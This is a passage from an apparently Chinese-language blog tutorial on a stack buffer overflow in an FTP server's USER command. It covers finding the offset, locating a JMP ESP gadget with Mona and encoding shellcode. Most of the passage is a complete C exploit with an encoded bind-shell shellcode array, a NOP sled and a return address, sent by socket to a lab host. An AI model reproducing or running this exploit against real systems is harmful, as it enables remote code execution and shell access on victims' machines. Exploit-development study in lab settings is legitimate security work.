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查看到溢出点在2007偏移处。 使用Mona找到JMPESP !py mona jmp -r esp -m "kernel32.dll" ![image.png](http://www.irohane.top/usr/uploads/2021/01/3151970135.png) 7573f8f7 ![image.png](http://www.irohane.top/usr/uploads/2021/01/2419266451.png) 可以看到错误地址改变了。接下来写入playLoad ![image.png](http://www.irohane.top/usr/uploads/2021/01/1510142596.png) # 注入灵魂 传输的时候不能有空格,回车,换行等操作,这些符号在命令行中有特别的意义-代表结束。以至于后面的ShellCode无法读入所以需要加密,使代码完全读取到内存,然后对ShellCode进行解密。 拿出模板代码 ``` #define _WINSOCK_DEPRECATED_NO_WARNINGS #include <winsock2.h> #include <windows.h> #pragma comment(lib,"Ws2_32.lib") #include <stdio.h> char Shell[] = { "\x33\xC0\xE8\xFF\xFF\xFF\xFF\xC3\x58\x8D\x70\x1B\x33\xC9\x66\xB9\x7B\x02\x8A\x04\x0E\x34\x17\x88\x04\x0E\xE2\xF6\x80\x34\x0E\x17\xFF\xE6\x94\xFB\x47\x42\x9C\xFB\x94\xFB\x07\xFC\x37\x74\x7A\x73\x39\x72\x6F\x72\x17\x60\x64\x25\x48\x24\x25\x39\x73\x7B\x7B\x17\x7C\x72\x65\x79\x72\x7B\x24\x25\x39\x73\x7B\x7B\x17\xFF\x17\x17\x17\x17\x4C\x9E\x4A\xEB\x73\x9C\x22\x27\x17\x17\x17\x9C\x61\x1B\x9C\x61\x0B\x9C\x21\x9C\x41\x1F\x45\x7F\x90\x25\xCF\xD7\xFF\x29\x17\x17\x17\x9C\xEF\x9A\x64\xF9\x7D\x17\x7D\x17\x41\xE8\xC0\x9E\x52\xEF\x9A\x64\xF4\x7D\x17\x7D\x17\x41\xE8\xC0\x9E\x52\xE3\xE8\x62\xE3\xE8\x62\xEF\xE8\x62\xEB\xFF\xDA\x17\x17\x17\xE8\x62\xEF\x7F\x74\x9E\xC6\x58\xFF\x10\x17\x17\x17\x7D\x17\xE8\xC7\x9C\xF2\x4A\x42\x9C\xFB\x94\xFB\x1B\x45\x9C\x5A\x1B\x9C\x56\x2B\x9C\x53\x1F\x6F\x9C\x6B\x1F\x0B\x14\xEE\x9E\x6A\xEB\x9C\x6B\x1F\x37\x14\xEE\x9E\x6A\xEF\x9C\x6B\x1F\x33\x14\xEE\x9E\x6A\xE3\x9C\x6B\x1F\x0F\x24\xDE\xFC\x16\x56\x9C\x62\xEF\x9C\x23\x99\x9C\x42\x1B\x9A\x23\x25\xE8\x62\x1F\x41\xFF\x36\x17\x17\x17\x94\xEF\x16\x62\xF2\x9C\x62\xE3\x24\xE8\x71\x9C\x2B\x59\x9C\x42\xEB\x9C\x23\xAD\x9C\x42\x1B\x9A\x13\x25\x4D\x9C\xF2\x4A\xD5\x1F\x17\x42\x9C\xFB\x94\xFB\x13\xD0\x52\xEB\x17\x17\x17\x17\x44\x46\x45\x9C\x62\x1F\x24\xDE\x24\xD7\x9D\x13\x19\x93\xD7\x63\x01\x9C\x4A\xEB\xD6\xF4\x0E\x9C\x42\xEB\xD6\xFD\x10\x1C\xCD\x14\xCF\x9E\x4A\xEB\x56\xFC\xF4\x9C\x4A\x1B\x9C\x42\xEB\x24\xD7\x2C\xCD\x62\x12\xAF\x16\x17\x17\x17\x4D\x4E\x4C\x9C\xF2\x4A\xD5\x1F\x17\x42\x9C\xFB\x96\xFB\x17\x14\x17\x17\xE8\x62\x07\x7F\x2A\x7D\xA3\x97\xFF\x26\xE8\xE8\xE8\x9A\xA2\x17\xEA\xE8\xE8\x41\x7F\x15\x15\x17\x17\xE8\xC7\x92\xD7\x18\x92\x17\x16\x17\x17\xE8\x62\x07\x7F\x3A\x25\x6F\xC9\xFF\x19\xE8\xE8\xE8\x7D\x17\x7D\x17\x7D\x17\x7D\x11\x7D\x16\x7D\x15\xE8\xC7\x9E\x52\xEB\xE8\x62\x07\x7F\x73\x07\xB0\xCA\xFF\xE7\xE9\xE8\xE8\x71\xD0\x92\x17\xE9\xE8\xE8\x15\x17\x71\xD0\x92\x15\xE9\xE8\xE8\x12\xFC\xD0\x92\x13\xE9\xE8\xE8\x17\x17\x17\x17\x9A\xA2\x17\xE9\xE8\xE8\x7D\x07\x41\xE8\x62\xEB\xE8\xC7\x92\xD7\x18\x92\xB4\x17\x17\x17\xE8\x62\x07\x7F\x1B\x88\xC4\x5C\xFF\xA6\xE9\xE8\xE8\x7F\xE8\xE8\xE8\x68\xE8\x62\xEB\xE8\xC7\x94\xEF\x17\x18\x92\x94\x17\x17\x17\xE8\x62\x07\x7F\xA6\x09\x80\x16\xFF\x86\xE9\xE8\xE8\x7D\x17\x7D\x17\xE8\x62\xEB\xE8\xC7\x9E\x52\xEB\xE8\x62\x1B\x7F\xDE\xAB\xB1\x7C\xFF\x6F\xE9\xE8\xE8\x9C\xC7\x9A\xAA\x67\xE8\xE8\xE8\xAE\x06\x17\x17\x17\xAF\x17\x17\x17\x17\xEB\xE4\xBC\xD0\x92\x67\xE8\xE8\xE8\x53\x17\x17\x17\xD0\x52\x8B\x17\x16\x17\x17\x71\xD0\x52\xB7\x17\x17\x9C\x62\xEB\x9E\x62\xBF\x9E\x62\xBB\x9E\x62\xA7\x9A\xA2\x67\xE8\xE8\xE8\x9A\xAA\x17\xE9\xE8\xE8\x9C\x4A\x1F\x9A\x4C\xCC\x40\x41\x7D\x17\x7D\x17\x7D\x17\x7D\x16\x7D\x17\x7D\x17\x44\x7D\x17\xE8\xC5\x9C\xF2\x4A\xD5\x1B\x17\x17" }; // ShellCode 使bindShell int main() { // 1. 初始化Winsock服务 WSADATA stWSA; WSAStartup(0x0202, &stWSA); // 2. 创建一个原始套接字 SOCKET stListen = INVALID_SOCKET;; stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0); // 3. 在任意地址(INADDR_ANY)上绑定一个端口21 SOCKADDR_IN stService; stService.sin_addr.s_addr = inet_addr("192.168.204.137"); stService.sin_port = htons(21); stService.sin_family = AF_INET; connect(stListen, (SOCKADDR*)&stService, sizeof(stService)); // 4. 构造Exploit char cExpolit[5000] = { 0x00 }; // Exploit容器 char cFill[5000] = { 0x00 }; // 填充字节 char cNOP[51] = { 0x00 }; // 滑板指令区 char cRetnAddr[5] = "\x34\x58\x1E\x74"; // JMP ESP:0x75DFE555 获取的ESP地址 memset(cFill, 'A', 2002); // 由Mona得到的偏移 这里-User 的长度 memset(cNOP, '\x90', 50); // 少填充1字节,如果变量cNOP后面不为0x00,也会被当成字符链接进来 sprintf_s(cExpolit, "%s%s%s%s%s%s", "USER ", cFill, cRetnAddr, cNOP, Shell, "\r\n"); // 5. 向FTP发送Exploit char szRecv[0x100] = { 0 }; char* pCommand = NULL; // 5.1 接受欢迎语 recv(stListen, szRecv, sizeof(szRecv), 0); // 5.2 发送登陆请求 send(stListen, cExpolit, strlen(cExpolit), 0); recv(stListen, szRecv, sizeof(szRecv), 0); // 6. 关闭相关句柄并释放相关资源 closesocket(stListen); WSACleanup(); return 0; } ``` 连接成功 ![image.png](http://www.irohane.top/usr/uploads/2021/01/1976589348.png) 最后修改:2022 年 06 月 08 日 © 允许规范转载 赞 0 如果觉得我的文章对你有用,请随意赞赏